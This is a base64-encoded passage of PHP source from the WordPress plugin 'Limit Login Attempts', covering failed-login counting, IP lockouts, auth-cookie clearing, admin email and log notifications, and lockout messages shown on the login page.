dmFsaWQgdXNlcgoJJHVzZXIgPSBnZXRfdXNlcmRhdGFieWxvZ2luKCR1c2VybmFtZSk7CglpZiAoISR1c2VyKSB7CgkJLy8gInNob3VsZG4ndCBoYXBwZW4iIGZvciB0aGlzIGFjdGlvbgoJCWxpbWl0X2xvZ2luX2ZhaWxlZCgkdXNlcm5hbWUpOwoJCXJldHVybjsKCX0KCgkkcHJldmlvdXNfY29va2llID0gZ2V0X3VzZXJfbWV0YSgkdXNlci0+SUQsICdsaW1pdF9sb2dpbl9wcmV2aW91c19jb29raWUnLCB0cnVlKTsKCWlmICgkcHJldmlvdXNfY29va2llICYmICRwcmV2aW91c19jb29raWUgPT0gJGNvb2tpZV9lbGVtZW50cykgewoJCS8vIElkZW50aWNhbCBjb29raWVzLCBpZ25vcmUgdGhpcyBhdHRlbXB0CgkJcmV0dXJuOwoJfQoKCS8vIFN0b3JlIGNvb2tpZQoJaWYgKCRwcmV2aW91c19jb29raWUpCgkJdXBkYXRlX3VzZXJfbWV0YSgkdXNlci0+SUQsICdsaW1pdF9sb2dpbl9wcmV2aW91c19jb29raWUnLCAkY29va2llX2VsZW1lbnRzKTsKCWVsc2UKCQlhZGRfdXNlcl9tZXRhKCR1c2VyLT5JRCwgJ2xpbWl0X2xvZ2luX3ByZXZpb3VzX2Nvb2tpZScsICRjb29raWVfZWxlbWVudHMsIHRydWUpOwoKCWxpbWl0X2xvZ2luX2ZhaWxlZCgkdXNlcm5hbWUpOwp9CgoKLyoKICogQWN0aW9uOiBzdWNjZXNzZnVsIGNvb2tpZSBsb2dpbgogKgogKiBDbGVhciBhbnkgc3RvcmVkIHVzZXJfbWV0YS4KICoKICogUmVxdWlyZXMgV29yZFByZXNzIHZlcnNpb24gMy4wLjAsIG5vdCB1c2VkIGluIHByZXZpb3VzIHZlcnNpb25zCiAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl92YWxpZF9jb29raWUoJGNvb2tpZV9lbGVtZW50cywgJHVzZXIpIHsKCS8qCgkgKiBBcyBhbGwgbWV0YSB2YWx1ZXMgZ2V0IGNhY2hlZCBvbiB1c2VyIGxvYWQgdGhpcyBzaG91bGQgbm90IHJlcXVpcmUKCSAqIGFueSBleHRyYSB3b3JrIGZvciB0aGUgY29tbW9uIGNhc2Ugb2Ygbm8gc3RvcmVkIHZhbHVlLgoJICovCgoJaWYgKGdldF91c2VyX21ldGEoJHVzZXItPklELCAnbGltaXRfbG9naW5fcHJldmlvdXNfY29va2llJykpIHsKCQlkZWxldGVfdXNlcl9tZXRhKCR1c2VyLT5JRCwgJ2xpbWl0X2xvZ2luX3ByZXZpb3VzX2Nvb2tpZScpOwoJfQp9CgoKLyogQWN0aW9uOiBmYWlsZWQgY29va2llIGxvZ2luIChjYWxscyBsaW1pdF9sb2dpbl9mYWlsZWQoKSkgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fZmFpbGVkX2Nvb2tpZSgkY29va2llX2VsZW1lbnRzKSB7CglsaW1pdF9sb2dpbl9jbGVhcl9hdXRoX2Nvb2tpZSgpOwoKCS8qCgkgKiBJbnZhbGlkIHVzZXJuYW1lIGdldHMgY291bnRlZCBldmVyeSB0aW1lLgoJICovCgoJbGltaXRfbG9naW5fZmFpbGVkKCRjb29raWVfZWxlbWVudHNbJ3VzZXJuYW1lJ10pOwp9CgoKLyogTWFrZSBzdXJlIGF1dGggY29va2llIHJlYWxseSBnZXQgY2xlYXJlZCAoZm9yIHRoaXMgc2Vzc2lvbiB0b28pICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX2NsZWFyX2F1dGhfY29va2llKCkgewoJd3BfY2xlYXJfYXV0aF9jb29raWUoKTsKCglpZiAoIWVtcHR5KCRfQ09PS0lFW0FVVEhfQ09PS0lFXSkpIHsKCQkkX0NPT0tJRVtBVVRIX0NPT0tJRV0gPSAnJzsKCX0KCWlmICghZW1wdHkoJF9DT09LSUVbU0VDVVJFX0FVVEhfQ09PS0lFXSkpIHsKCQkkX0NPT0tJRVtTRUNVUkVfQVVUSF9DT09LSUVdID0gJyc7Cgl9CglpZiAoIWVtcHR5KCRfQ09PS0lFW0xPR0dFRF9JTl9DT09LSUVdKSkgewoJCSRfQ09PS0lFW0xPR0dFRF9JTl9DT09LSUVdID0gJyc7Cgl9Cn0KCi8qCiAqIEFjdGlvbiB3aGVuIGxvZ2luIGF0dGVtcHQgZmFpbGVkCiAqCiAqIEluY3JlYXNlIG5yIG9mIHJldHJpZXMgKGlmIG5lY2Vzc2FyeSkuIFJlc2V0IHZhbGlkIHZhbHVlLiBTZXR1cAogKiBsb2Nrb3V0IGlmIG5yIG9mIHJldHJpZXMgYXJlIGFib3ZlIHRocmVzaG9sZC4gQW5kIG1vcmUhCiAqCiAqIEEgbm90ZSBvbiBleHRlcm5hbCB3aGl0ZWxpc3Q6IHJldHJpZXMgYW5kIHN0YXRpc3RpY3MgYXJlIHN0aWxsIGNvdW50ZWQgYW5kCiAqIG5vdGlmaWNhdGlvbnMgZG9uZSBhcyB1c3VhbCwgYnV0IG5vIGxvY2tvdXQgaXMgZG9uZS4KICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX2ZhaWxlZCgkdXNlcm5hbWUpIHsKCSRpcCA9IGxpbWl0X2xvZ2luX2dldF9hZGRyZXNzKCk7CgoJLyogaWYgY3VycmVudGx5IGxvY2tlZC1vdXQsIGRvIG5vdCBhZGQgdG8gcmV0cmllcyAqLwoJJGxvY2tvdXRzID0gZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnKTsKCWlmICghaXNfYXJyYXkoJGxvY2tvdXRzKSkgewoJCSRsb2Nrb3V0cyA9IGFycmF5KCk7Cgl9CglpZihpc3NldCgkbG9ja291dHNbJGlwXSkgJiYgdGltZSgpIDwgJGxvY2tvdXRzWyRpcF0pIHsKCQlyZXR1cm47Cgl9CgoJLyogR2V0IHRoZSBhcnJheXMgd2l0aCByZXRyaWVzIGFuZCByZXRyaWVzLXZhbGlkIGluZm9ybWF0aW9uICovCgkkcmV0cmllcyA9IGdldF9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXMnKTsKCSR2YWxpZCA9IGdldF9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXNfdmFsaWQnKTsKCWlmICghaXNfYXJyYXkoJHJldHJpZXMpKSB7CgkJJHJldHJpZXMgPSBhcnJheSgpOwoJCWFkZF9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXMnLCAkcmV0cmllcywgJycsICdubycpOwoJfQoJaWYgKCFpc19hcnJheSgkdmFsaWQpKSB7CgkJJHZhbGlkID0gYXJyYXkoKTsKCQlhZGRfb3B0aW9uKCdsaW1pdF9sb2dpbl9yZXRyaWVzX3ZhbGlkJywgJHZhbGlkLCAnJywgJ25vJyk7Cgl9CgoJLyogQ2hlY2sgdmFsaWRpdHkgYW5kIGFkZCBvbmUgdG8gcmV0cmllcyAqLwoJaWYgKGlzc2V0KCRyZXRyaWVzWyRpcF0pICYmIGlzc2V0KCR2YWxpZFskaXBdKSAmJiB0aW1lKCkgPCAkdmFsaWRbJGlwXSkgewoJCSRyZXRyaWVzWyRpcF0gKys7Cgl9IGVsc2UgewoJCSRyZXRyaWVzWyRpcF0gPSAxOwoJfQoJJHZhbGlkWyRpcF0gPSB0aW1lKCkgKyBsaW1pdF9sb2dpbl9vcHRpb24oJ3ZhbGlkX2R1cmF0aW9uJyk7CgoJLyogbG9ja291dD8gKi8KCWlmKCRyZXRyaWVzWyRpcF0gJSBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpICE9IDApIHsKCQkvKiAKCQkgKiBOb3QgbG9ja291dCAoeWV0ISkKCQkgKiBEbyBob3VzZWNsZWFuaW5nICh3aGljaCBhbHNvIHNhdmVzIHJldHJ5L3ZhbGlkIHZhbHVlcykuCgkJICovCgkJbGltaXRfbG9naW5fY2xlYW51cCgkcmV0cmllcywgbnVsbCwgJHZhbGlkKTsKCQlyZXR1cm47Cgl9CgoJLyogbG9ja291dCEgKi8KCgkkd2hpdGVsaXN0ZWQgPSBpc19saW1pdF9sb2dpbl9pcF93aGl0ZWxpc3RlZCgkaXApOwoKCSRyZXRyaWVzX2xvbmcgPSBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpCgkJKiBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfbG9ja291dHMnKTsKCgkvKiAKCSAqIE5vdGUgdGhhdCByZXRyaWVzIGFuZCBzdGF0aXN0aWNzIGFyZSBzdGlsbCBjb3VudGVkIGFuZCBub3RpZmljYXRpb25zCgkgKiBkb25lIGFzIHVzdWFsIGZvciB3aGl0ZWxpc3RlZCBpcHMgLCBidXQgbm8gbG9ja291dCBpcyBkb25lLgoJICovCglpZiAoJHdoaXRlbGlzdGVkKSB7CgkJaWYgKCRyZXRyaWVzWyRpcF0gPj0gJHJldHJpZXNfbG9uZykgewoJCQl1bnNldCgkcmV0cmllc1skaXBdKTsKCQkJdW5zZXQoJHZhbGlkWyRpcF0pOwoJCX0KCX0gZWxzZSB7CgkJZ2xvYmFsICRsaW1pdF9sb2dpbl9qdXN0X2xvY2tlZG91dDsKCQkkbGltaXRfbG9naW5fanVzdF9sb2NrZWRvdXQgPSB0cnVlOwoKCQkvKiBzZXR1cCBsb2Nrb3V0LCByZXNldCByZXRyaWVzIGFzIG5lZWRlZCAqLwoJCWlmICgkcmV0cmllc1skaXBdID49ICRyZXRyaWVzX2xvbmcpIHsKCQkJLyogbG9uZyBsb2Nrb3V0ICovCgkJCSRsb2Nrb3V0c1skaXBdID0gdGltZSgpICsgbGltaXRfbG9naW5fb3B0aW9uKCdsb25nX2R1cmF0aW9uJyk7CgkJCXVuc2V0KCRyZXRyaWVzWyRpcF0pOwoJCQl1bnNldCgkdmFsaWRbJGlwXSk7CgkJfSBlbHNlIHsKCQkJLyogbm9ybWFsIGxvY2tvdXQgKi8KCQkJJGxvY2tvdXRzWyRpcF0gPSB0aW1lKCkgKyBsaW1pdF9sb2dpbl9vcHRpb24oJ2xvY2tvdXRfZHVyYXRpb24nKTsKCQl9Cgl9CgoJLyogZG8gaG91c2VjbGVhbmluZyBhbmQgc2F2ZSB2YWx1ZXMgKi8KCWxpbWl0X2xvZ2luX2NsZWFudXAoJHJldHJpZXMsICRsb2Nrb3V0cywgJHZhbGlkKTsKCgkvKiBkbyBhbnkgbm90aWZpY2F0aW9uICovCglsaW1pdF9sb2dpbl9ub3RpZnkoJHVzZXJuYW1lKTsKCgkvKiBpbmNyZWFzZSBzdGF0aXN0aWNzICovCgkkdG90YWwgPSBnZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2Nrb3V0c190b3RhbCcpOwoJaWYgKCR0b3RhbCA9PT0gZmFsc2UgfHwgIWlzX251bWVyaWMoJHRvdGFsKSkgewoJCWFkZF9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvY2tvdXRzX3RvdGFsJywgMSwgJycsICdubycpOwoJfSBlbHNlIHsKCQl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2Nrb3V0c190b3RhbCcsICR0b3RhbCArIDEpOwoJfQp9CgoKLyogQ2xlYW4gdXAgb2xkIGxvY2tvdXRzIGFuZCByZXRyaWVzLCBhbmQgc2F2ZSBzdXBwbGllZCBhcnJheXMgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fY2xlYW51cCgkcmV0cmllcyA9IG51bGwsICRsb2Nrb3V0cyA9IG51bGwsICR2YWxpZCA9IG51bGwpIHsKCSRub3cgPSB0aW1lKCk7CgkkbG9ja291dHMgPSAhaXNfbnVsbCgkbG9ja291dHMpID8gJGxvY2tvdXRzIDogZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnKTsKCgkvKiByZW1vdmUgb2xkIGxvY2tvdXRzICovCglpZiAoaXNfYXJyYXkoJGxvY2tvdXRzKSkgewoJCWZvcmVhY2ggKCRsb2Nrb3V0cyBhcyAkaXAgPT4gJGxvY2tvdXQpIHsKCQkJaWYgKCRsb2Nrb3V0IDwgJG5vdykgewoJCQkJdW5zZXQoJGxvY2tvdXRzWyRpcF0pOwoJCQl9CgkJfQoJCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvY2tvdXRzJywgJGxvY2tvdXRzKTsKCX0KCgkvKiByZW1vdmUgcmV0cmllcyB0aGF0IGFyZSBubyBsb25nZXIgdmFsaWQgKi8KCSR2YWxpZCA9ICFpc19udWxsKCR2YWxpZCkgPyAkdmFsaWQgOiBnZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9yZXRyaWVzX3ZhbGlkJyk7CgkkcmV0cmllcyA9ICFpc19udWxsKCRyZXRyaWVzKSA/ICRyZXRyaWVzIDogZ2V0X29wdGlvbignbGltaXRfbG9naW5fcmV0cmllcycpOwoJaWYgKCFpc19hcnJheSgkdmFsaWQpIHx8ICFpc19hcnJheSgkcmV0cmllcykpIHsKCQlyZXR1cm47Cgl9CgoJZm9yZWFjaCAoJHZhbGlkIGFzICRpcCA9PiAkbG9ja291dCkgewoJCWlmICgkbG9ja291dCA8ICRub3cpIHsKCQkJdW5zZXQoJHZhbGlkWyRpcF0pOwoJCQl1bnNldCgkcmV0cmllc1skaXBdKTsKCQl9Cgl9CgoJLyogZ28gdGhyb3VnaCByZXRyaWVzIGRpcmVjdGx5LCBpZiBmb3Igc29tZSByZWFzb24gdGhleSd2ZSBnb25lIG91dCBvZiBzeW5jICovCglmb3JlYWNoICgkcmV0cmllcyBhcyAkaXAgPT4gJHJldHJ5KSB7CgkJaWYgKCFpc3NldCgkdmFsaWRbJGlwXSkpIHsKCQkJdW5zZXQoJHJldHJpZXNbJGlwXSk7CgkJfQoJfQoKCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXMnLCAkcmV0cmllcyk7Cgl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9yZXRyaWVzX3ZhbGlkJywgJHZhbGlkKTsKfQoKCi8qIElzIHRoaXMgV1AgTXVsdGlzaXRlPyAqLwpmdW5jdGlvbiBpc19saW1pdF9sb2dpbl9tdWx0aXNpdGUoKSB7CglyZXR1cm4gZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2l0ZV9vcHRpb24nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2lzX211bHRpc2l0ZScpICYmIGlzX211bHRpc2l0ZSgpOwp9CgoKLyogRW1haWwgbm90aWZpY2F0aW9uIG9mIGxvY2tvdXQgdG8gYWRtaW4gKGlmIGNvbmZpZ3VyZWQpICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX25vdGlmeV9lbWFpbCgkdXNlcikgewoJJGlwID0gbGltaXRfbG9naW5fZ2V0X2FkZHJlc3MoKTsKCSR3aGl0ZWxpc3RlZCA9IGlzX2xpbWl0X2xvZ2luX2lwX3doaXRlbGlzdGVkKCRpcCk7CgoJJHJldHJpZXMgPSBnZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9yZXRyaWVzJyk7CglpZiAoIWlzX2FycmF5KCRyZXRyaWVzKSkgewoJCSRyZXRyaWVzID0gYXJyYXkoKTsKCX0KCgkvKiBjaGVjayBpZiB3ZSBhcmUgYXQgdGhlIHJpZ2h0IG5yIHRvIGRvIG5vdGlmaWNhdGlvbiAqLwoJaWYgKCBpc3NldCgkcmV0cmllc1skaXBdKQoJCSAmJiAoICgkcmV0cmllc1skaXBdIC8gbGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX3JldHJpZXMnKSkKCQkJICAlIGxpbWl0X2xvZ2luX29wdGlvbignbm90aWZ5X2VtYWlsX2FmdGVyJykgKSAhPSAwICkgewoJCXJldHVybjsKCX0KCgkvKiBGb3JtYXQgbWVzc2FnZS4gRmlyc3QgY3VycmVudCBsb2Nrb3V0IGR1cmF0aW9uICovCglpZiAoIWlzc2V0KCRyZXRyaWVzWyRpcF0pKSB7CgkJLyogbG9uZ2VyIGxvY2tvdXQgKi8KCQkkY291bnQgPSBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpCgkJCSogbGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX2xvY2tvdXRzJyk7CgkJJGxvY2tvdXRzID0gbGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX2xvY2tvdXRzJyk7CgkJJHRpbWUgPSByb3VuZChsaW1pdF9sb2dpbl9vcHRpb24oJ2xvbmdfZHVyYXRpb24nKSAvIDM2MDApOwoJCSR3aGVuID0gc3ByaW50ZihfbignJWQgaG91cicsICclZCBob3VycycsICR0aW1lLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSwgJHRpbWUpOwoJfSBlbHNlIHsKCQkvKiBub3JtYWwgbG9ja291dCAqLwoJCSRjb3VudCA9ICRyZXRyaWVzWyRpcF07CgkJJGxvY2tvdXRzID0gZmxvb3IoJGNvdW50IC8gbGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX3JldHJpZXMnKSk7CgkJJHRpbWUgPSByb3VuZChsaW1pdF9sb2dpbl9vcHRpb24oJ2xvY2tvdXRfZHVyYXRpb24nKSAvIDYwKTsKCQkkd2hlbiA9IHNwcmludGYoX24oJyVkIG1pbnV0ZScsICclZCBtaW51dGVzJywgJHRpbWUsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpLCAkdGltZSk7Cgl9CgoJJGJsb2duYW1lID0gaXNfbGltaXRfbG9naW5fbXVsdGlzaXRlKCkgPyBnZXRfc2l0ZV9vcHRpb24oJ3NpdGVfbmFtZScpIDogZ2V0X29wdGlvbignYmxvZ25hbWUnKTsJCgoJaWYgKCR3aGl0ZWxpc3RlZCkgewoJCSRzdWJqZWN0ID0gc3ByaW50ZihfXygiWyVzXSBGYWlsZWQgbG9naW4gYXR0ZW1wdHMgZnJvbSB3aGl0ZWxpc3RlZCBJUCIKCQkJCSAgICAgICwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJykKCQkJCSAgICwgJGJsb2duYW1lKTsKCX0gZWxzZSB7CgkJJHN1YmplY3QgPSBzcHJpbnRmKF9fKCJbJXNdIFRvbyBtYW55IGZhaWxlZCBsb2dpbiBhdHRlbXB0cyIKCQkJCSAgICAgICwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJykKCQkJCSAgICwgJGJsb2duYW1lKTsKCX0KCgkkbWVzc2FnZSA9IHNwcmludGYoX18oIiVkIGZhaWxlZCBsb2dpbiBhdHRlbXB0cyAoJWQgbG9ja291dChzKSkgZnJvbSBJUDogJXMiCgkJCSAgICAgICwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJykgLiAiXHJcblxyXG4iCgkJCSAgICwgJGNvdW50LCAkbG9ja291dHMsICRpcCk7CglpZiAoJHVzZXIgIT0gJycpIHsKCQkkbWVzc2FnZSAuPSBzcHJpbnRmKF9fKCJMYXN0IHVzZXIgYXR0ZW1wdGVkOiAlcyIsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpCgkJCQkgICAgLiAiXHJcblxyXG4iICwgJHVzZXIpOwoJfQoJaWYgKCR3aGl0ZWxpc3RlZCkgewoJCSRtZXNzYWdlIC49IF9fKCJJUCB3YXMgTk9UIGJsb2NrZWQgYmVjYXVzZSBvZiBleHRlcm5hbCB3aGl0ZWxpc3QuIiwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7Cgl9IGVsc2UgewoJCSRtZXNzYWdlIC49IHNwcmludGYoX18oIklQIHdhcyBibG9ja2VkIGZvciAlcyIsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpLCAkd2hlbik7Cgl9CgoJJGFkbWluX2VtYWlsID0gaXNfbGltaXRfbG9naW5fbXVsdGlzaXRlKCkgPyBnZXRfc2l0ZV9vcHRpb24oJ2FkbWluX2VtYWlsJykgOiBnZXRfb3B0aW9uKCdhZG1pbl9lbWFpbCcpOwoKCUB3cF9tYWlsKCRhZG1pbl9lbWFpbCwgJHN1YmplY3QsICRtZXNzYWdlKTsKfQoKCi8qIExvZ2dpbmcgb2YgbG9ja291dCAoaWYgY29uZmlndXJlZCkgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fbm90aWZ5X2xvZygkdXNlcikgewoJJGxvZyA9ICRvcHRpb24gPSBnZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2dnZWQnKTsKCWlmICghaXNfYXJyYXkoJGxvZykpIHsKCQkkbG9nID0gYXJyYXkoKTsKCX0KCSRpcCA9IGxpbWl0X2xvZ2luX2dldF9hZGRyZXNzKCk7CgoJLyogY2FuIGJlIHdyaXR0ZW4gbXVjaCBzaW1wbGVyLCBpZiB5b3UgZG8gbm90IG1pbmQgcGhwIHdhcm5pbmdzICovCglpZiAoaXNzZXQoJGxvZ1skaXBdKSkgewoJCWlmIChpc3NldCgkbG9nWyRpcF1bJHVzZXJdKSkgewkKCQkJJGxvZ1skaXBdWyR1c2VyXSsrOwoJCX0gZWxzZSB7CgkJCSRsb2dbJGlwXVskdXNlcl0gPSAxOwoJCX0KCX0gZWxzZSB7CgkJJGxvZ1skaXBdID0gYXJyYXkoJHVzZXIgPT4gMSk7Cgl9CgoJaWYgKCRvcHRpb24gPT09IGZhbHNlKSB7CgkJYWRkX29wdGlvbignbGltaXRfbG9naW5fbG9nZ2VkJywgJGxvZywgJycsICdubycpOyAvKiBubyBhdXRvbG9hZCAqLwoJfSBlbHNlIHsKCQl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2dnZWQnLCAkbG9nKTsKCX0KfQoKCi8qIEhhbmRsZSBub3RpZmljYXRpb24gaW4gZXZlbnQgb2YgbG9ja291dCAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9ub3RpZnkoJHVzZXIpIHsKCSRhcmdzID0gZXhwbG9kZSgnLCcsIGxpbWl0X2xvZ2luX29wdGlvbignbG9ja291dF9ub3RpZnknKSk7CgoJaWYgKGVtcHR5KCRhcmdzKSkgewoJCXJldHVybjsKCX0KCglmb3JlYWNoICgkYXJncyBhcyAkbW9kZSkgewoJCXN3aXRjaCAodHJpbSgkbW9kZSkpIHsKCQljYXNlICdlbWFpbCc6CgkJCWxpbWl0X2xvZ2luX25vdGlmeV9lbWFpbCgkdXNlcik7CgkJCWJyZWFrOwoJCWNhc2UgJ2xvZyc6CgkJCWxpbWl0X2xvZ2luX25vdGlmeV9sb2coJHVzZXIpOwoJCQlicmVhazsKCQl9Cgl9Cn0KCgovKiBDb25zdHJ1Y3QgaW5mb3JtYXRpdmUgZXJyb3IgbWVzc2FnZSAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9lcnJvcl9tc2coKSB7CgkkaXAgPSBsaW1pdF9sb2dpbl9nZXRfYWRkcmVzcygpOwoJJGxvY2tvdXRzID0gZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnKTsKCgkkbXNnID0gX18oJzxzdHJvbmc+RVJST1I8L3N0cm9uZz46IFRvbyBtYW55IGZhaWxlZCBsb2dpbiBhdHRlbXB0cy4nLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSAuICcgJzsKCglpZiAoIWlzX2FycmF5KCRsb2Nrb3V0cykgfHwgIWlzc2V0KCRsb2Nrb3V0c1skaXBdKSB8fCB0aW1lKCkgPj0gJGxvY2tvdXRzWyRpcF0pIHsKCQkvKiBIdWg/IE5vIHRpbWVvdXQgYWN0aXZlPyAqLwoJCSRtc2cgLj0gIF9fKCdQbGVhc2UgdHJ5IGFnYWluIGxhdGVyLicsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOwoJCXJldHVybiAkbXNnOwoJfQoKCSR3aGVuID0gY2VpbCgoJGxvY2tvdXRzWyRpcF0gLSB0aW1lKCkpIC8gNjApOwoJaWYgKCR3aGVuID4gNjApIHsKCQkkd2hlbiA9IGNlaWwoJHdoZW4gLyA2MCk7CgkJJG1zZyAuPSBzcHJpbnRmKF9uKCdQbGVhc2UgdHJ5IGFnYWluIGluICVkIGhvdXIuJywgJ1BsZWFzZSB0cnkgYWdhaW4gaW4gJWQgaG91cnMuJywgJHdoZW4sICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpLCAkd2hlbik7Cgl9IGVsc2UgewoJCSRtc2cgLj0gc3ByaW50ZihfbignUGxlYXNlIHRyeSBhZ2FpbiBpbiAlZCBtaW51dGUuJywgJ1BsZWFzZSB0cnkgYWdhaW4gaW4gJWQgbWludXRlcy4nLCAkd2hlbiwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyksICR3aGVuKTsKCX0KCglyZXR1cm4gJG1zZzsKfQoKCi8qIENvbnN0cnVjdCByZXRyaWVzIHJlbWFpbmluZyBtZXNzYWdlICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX3JldHJpZXNfcmVtYWluaW5nX21zZygpIHsKCSRpcCA9IGxpbWl0X2xvZ2luX2dldF9hZGRyZXNzKCk7CgkkcmV0cmllcyA9IGdldF9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXMnKTsKCSR2YWxpZCA9IGdldF9vcHRpb24oJ2xpbWl0X2xvZ2luX3JldHJpZXNfdmFsaWQnKTsKCgkvKiBTaG91bGQgd2Ugc2hvdyByZXRyaWVzIHJlbWFpbmluZz8gKi8KCglpZiAoIWlzX2FycmF5KCRyZXRyaWVzKSB8fCAhaXNfYXJyYXkoJHZhbGlkKSkgewoJCS8qIG5vIHJldHJpZXMgYXQgYWxsICovCgkJcmV0dXJuICcnOwoJfQoJaWYgKCFpc3NldCgkcmV0cmllc1skaXBdKSB8fCAhaXNzZXQoJHZhbGlkWyRpcF0pIHx8IHRpbWUoKSA+ICR2YWxpZFskaXBdKSB7CgkJLyogbm86IG5vIHZhbGlkIHJldHJpZXMgKi8KCQlyZXR1cm4gJyc7Cgl9CglpZiAoKCRyZXRyaWVzWyRpcF0gJSBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpKSA9PSAwICkgewoJCS8qIG5vOiBhbHJlYWR5IGJlZW4gbG9ja2VkIG91dCBmb3IgdGhlc2UgcmV0cmllcyAqLwoJCXJldHVybiAnJzsKCX0KCgkkcmVtYWluaW5nID0gbWF4KChsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpIC0gKCRyZXRyaWVzWyRpcF0gJSBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpKSksIDApOwoJcmV0dXJuIHNwcmludGYoX24oIjxzdHJvbmc+JWQ8L3N0cm9uZz4gYXR0ZW1wdCByZW1haW5pbmcuIiwgIjxzdHJvbmc+JWQ8L3N0cm9uZz4gYXR0ZW1wdHMgcmVtYWluaW5nLiIsICRyZW1haW5pbmcsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpLCAkcmVtYWluaW5nKTsKfQoKCi8qIFJldHVybiBjdXJyZW50IChlcnJvcikgbWVzc2FnZSB0byBzaG93LCBpZiBhbnkgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fZ2V0X21lc3NhZ2UoKSB7CgkvKiBDaGVjayBleHRlcm5hbCB3aGl0ZWxpc3QgKi8KCWlmIChpc19saW1pdF9sb2dpbl9pcF93aGl0ZWxpc3RlZCgpKSB7CgkJcmV0dXJuICcnOwoJfQoKCS8qIElzIGxvY2tvdXQgaW4gZWZmZWN0PyAqLwoJaWYgKCFpc19saW1pdF9sb2dpbl9vaygpKSB7CgkJcmV0dXJuIGxpbWl0X2xvZ2luX2Vycm9yX21zZygpOwoJfQoKCXJldHVybiBsaW1pdF9sb2dpbl9yZXRyaWVzX3JlbWFpbmluZ19tc2coKTsKfQoKCi8qIFNob3VsZCB3ZSBzaG93IGVycm9ycyBhbmQgbWVzc2FnZXMgb24gdGhpcyBwYWdlPyAqLwpmdW5jdGlvbiBzaG91bGRfbGltaXRfbG9naW5fc2hvd19tc2coKSB7CglpZiAoaXNzZXQoJF9HRVRbJ2tleSddKSkgewoJCS8qIHJlc2V0IHBhc3N3b3JkICovCgkJcmV0dXJuIGZhbHNlOwoJfQoKCSRhY3Rpb24gPSBpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSA/ICRfUkVRVUVTVFsnYWN0aW9uJ10gOiAnJzsKCglyZXR1cm4gKCAkYWN0aW9uICE9ICdsb3N0cGFzc3dvcmQnICYmICRhY3Rpb24gIT0gJ3JldHJpZXZlcGFzc3dvcmQnCgkJCSAmJiAkYWN0aW9uICE9ICdyZXNldHBhc3MnICYmICRhY3Rpb24gIT0gJ3JwJwoJCQkgJiYgJGFjdGlvbiAhPSAncmVnaXN0ZXInICk7Cn0KCgovKiBGaXggdXAgdGhlIGVycm9yIG1lc3NhZ2UgYmVmb3JlIHNob3dpbmcgaXQgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fZml4dXBfZXJyb3JfbWVzc2FnZXMoJGNvbnRlbnQpIHsKCWdsb2JhbCAkbGltaXRfbG9naW5fanVzdF9sb2NrZWRvdXQsICRsaW1pdF9sb2dpbl9ub25lbXB0eV9jcmVkZW50aWFscywgJGxpbWl0X2xvZ2luX215X2Vycm9yX3Nob3duOwoKCWlmICghc2hvdWxkX2xpbWl0X2xvZ2luX3Nob3dfbXNnKCkpIHsKCQlyZXR1cm4gJGNvbnRlbnQ7Cgl9CgoJLyoKCSAqIER1cmluZyBsb2Nrb3V0IHdlIGRvIG5vdCB3YW50IHRvIHNob3cgYW55IG90aGVyIGVycm9yIG1lc3NhZ2VzIChsaWtlCgkgKiB1bmtub3